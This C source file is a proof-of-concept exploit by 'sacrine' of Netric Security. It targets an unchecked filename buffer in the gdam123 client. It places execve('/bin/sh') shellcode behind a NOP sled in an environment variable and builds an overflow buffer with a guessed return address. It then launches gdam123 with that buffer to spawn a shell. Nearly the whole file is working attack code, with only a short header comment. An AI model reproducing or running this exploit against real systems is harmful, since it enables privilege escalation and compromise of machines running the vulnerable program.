/* gdam123(client) proof of concept exploit by sacrine
 * An unchecked buffer in filename option
 * Netric Security (RESOURCE MATERIAL)
 * https://www.netric.org
 *
 * ./gdam123-expl -3300
 * greets: All members of Netric, my girlfriend
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

// #define BUFLEN  2148
#define BUFLEN  (2157 + 9) 
#define NOP  0x90

char shellcode[] =
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv)
{
  unsigned long ret = 0xbffff090;
  char   buffer[BUFLEN];
  char   egg[1024];
  char  *ptr;
  int  i=0;
  unsigned long offset ; 

  if (argc > 1) 
    ret = ret - atol(argv[1]) ;

  memset(buffer,NOP,sizeof(buffer));
  ptr=egg;
  
  for (i=0; i<1024-strlen(shellcode)-1;i++)*(ptr++) = '\x90';
  for (i=0; i<strlen(shellcode);i++)*(ptr++) = shellcode[i];
  
  egg[1024-1] = '\0';
  memcpy(egg,"EGG=",4);
  putenv(egg);
  
  memset(buffer, 0x41, sizeof(buffer)); 
  buffer[BUFLEN-5] = (ret & 0x000000ff);
  buffer[BUFLEN-4] = (ret & 0x0000ff00) >> 8;
  buffer[BUFLEN-3] = (ret & 0x00ff0000) >> 16;
  buffer[BUFLEN-2] = (ret & 0xff000000) >> 24;
  buffer[BUFLEN-1] = 0x00;
  
  printf("gdam123 proof of concept exploit by sacrine\n");
  printf("ret: 0x%x\n",ret);
  printf("buf: %d\n\n",strlen(buffer));
  
  execl("gdam123", "gdam123_hacked",buffer, NULL);
  return(0);
}